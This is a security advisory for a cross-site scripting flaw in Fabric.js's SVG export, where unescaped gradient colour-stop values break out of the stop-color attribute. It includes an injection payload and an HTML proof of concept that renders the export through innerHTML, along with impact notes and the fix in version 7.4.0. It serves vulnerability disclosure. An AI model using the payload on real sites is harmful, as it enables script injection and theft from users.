---
id: CVE-2026-44311
aliases:
  - GHSA-w22m-hvvm-xmwx
title: >-
  Fabric.js improper escaping in fabric.Gradient colorStops leads to XSS in SVG
  serialization
summary: >-
  Fabric.js improper escaping in fabric.Gradient colorStops leads to XSS in SVG
  serialization
severity: medium
cvss: 5.4
cwe:
  - CWE-79
  - CWE-116
vendor: fabric
product: fabric
ecosystem: npm
affected:
  - fabric < 7.4.0
patched:
  - fabric 7.4.0
published: '2026-06-12'
updated: '2026-06-12'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-w22m-hvvm-xmwx'
references:
  - url: >-
      https://github.com/fabricjs/fabric.js/security/advisories/GHSA-w22m-hvvm-xmwx
  - url: 'https://github.com/fabricjs/fabric.js/releases/tag/v740'
  - url: 'https://github.com/advisories/GHSA-w22m-hvvm-xmwx'
tags:
  - ghsa
  - npm
epss: 0.00271
epssPercentile: 0.17349
ingestedAt: '2026-07-07T15:41:58.994Z'
---

## Overview

### Summary

A potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the `toSVG()` method.

Specifically, the `color` field within the `colorStops` array of a `fabric.Gradient` object is not properly escaped when converted into SVG `<stop>` elements. If an application renders the generated SVG string into the DOM (e.g., via `innerHTML`), this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser.

### Details

During SVG export, Fabric.js serializes gradient color stops into `<stop>` elements like:

```xml
<stop offset="0" stop-color="..."></stop>
```

However, the `color` value is inserted into the `stop-color` attribute without proper escaping of special characters such as `"`, `<`, and `>`. This allows crafted input to break out of the attribute context and inject arbitrary markup.

For example:
```js
color: 'red"><img src="x" onerror="alert(1)">'
```

may result in:
```xml
<stop offset="0" stop-color="red">
<img src="x" onerror="alert(1)">
```
This breaks the intended SVG structure and introduces executable HTML.

### PoC (Proof of Concept)

Successfully verified on **v7.2.0** (current latest version). The following HTML and JavaScript code reproduces the vulnerability. The code constructs a rectangle with a maliciously crafted gradient color stop and exports it to SVG:

```html
<!DOCTYPE html>
<html>
<head>
   <title>Fabric.js SVG Export XSS Bypass Test</title>
   <script src="[https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js](https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js)"></script>
</head>
<body>
   <h1>Fabric.js SVG Export XSS Bypass Test (Gradient Color)</h1>
   <canvas id="c" width="400" height="300"></canvas>
   
   <h3>SVG Output Rendering:</h3>
   <div id="svg-output" style="border: 1px solid #ccc; padding: 10px; margin-top: 10px;"></div>

   <script>
       setTimeout(() => {
           const canvas = new fabric.Canvas('c');
           
           // Construct a malicious gradient object
           const maliciousGradient = new fabric.Gradient({
               type: 'linear',
               coords: { x1: 0, y1: 0, x2: 100, y2: 0 },
               colorStops: [
                   {
                       offset: 0,
                       // Inject XSS payload to prematurely close the attribute/tag
                       color: 'red"><img src="x" onerror="alert(\'XSS Triggered Successfully!\')">'
                   },
                   { offset: 1, color: 'blue' }
               ]
           });

           const rect = new fabric.Rect({
               left: 50, top: 50, width: 300, height: 100,
               fill: maliciousGradient
           });

           canvas.add(rect);

           // Export to SVG string containing the malicious code
           const svgOutput = canvas.toSVG();

           // Render on the page to trigger the XSS
           document.getElementById('svg-output').innerHTML = svgOutput;
       }, 100);
   </script>
</body>
</html>
```

### Impact

This issue can lead to XSS in applications that:
1. Allow user-controlled input in gradient definitions (e.g., color values)
2. Use `canvas.toSVG()` to export content
3. Insert the resulting SVG string into the DOM without sanitization (e.g., via `innerHTML`)

Successful exploitation may result in the execution of arbitrary JavaScript in the victim's browser, theft of sensitive data, or unauthorized actions on behalf of the user.

### Suggested Fix
**Proper Escaping (Recommended)**: Escape special characters in attribute values during SVG serialization.

## Affected packages

- `fabric < 7.4.0`

## Remediation

Upgrade to a patched release:

- `fabric 7.4.0`
